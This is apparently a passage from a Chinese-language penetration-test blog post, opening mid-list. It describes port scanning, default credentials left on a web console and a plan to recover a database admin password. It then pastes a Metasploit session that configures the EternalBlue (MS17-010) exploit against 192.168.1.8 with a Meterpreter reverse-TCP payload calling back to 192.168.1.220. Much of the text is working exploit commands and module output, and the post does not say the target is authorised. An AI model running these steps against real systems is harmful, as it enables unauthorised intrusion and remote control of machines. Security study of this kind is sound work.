2. 21、445、1433、3389、8443可以关注一下
3. 最开始东哥考虑利用ftp和mssql,发现管理员安全意识还是比较高的,密码全都改了。浏览器打开8443,发现了这个......
4. 呵呵......systemadmin的密码没有修改.....
5. 百度了一下颜色盟的文档,有一个configadmin的后台账号能够看到sa的密码,但是被实施工程师改了,如果能拿到sa密码,你懂得.....
6. 这时候我的助理小明,提出了一个思路,1.8貌似是win7的系统,为什么不试试ms17-010呢?自从ms08-067之后,好久没有这么爽的exploit了......

VerifyTarget true yes Check if remote OS matches exploit Target.Payload information: Space: 2000Description: This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.References: Also known as: ETERNALBLUE https://technet.microsoft.com/en-us/library/security/MS17-010 https://cvedetails.com/cve/CVE-2017-0143/ https://cvedetails.com/cve/CVE-2017-0144/ https://cvedetails.com/cve/CVE-2017-0145/ https://cvedetails.com/cve/CVE-2017-0146/ https://cvedetails.com/cve/CVE-2017-0147/ https://cvedetails.com/cve/CVE-2017-0148/ https://github.com/RiskSense-Ops/MS17-010msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.8RHOST => 192.168.1.8msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.220LHOST => 192.168.1.220msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- GroomAllocations 12 yes Initial number of times to groom the kernel pool.
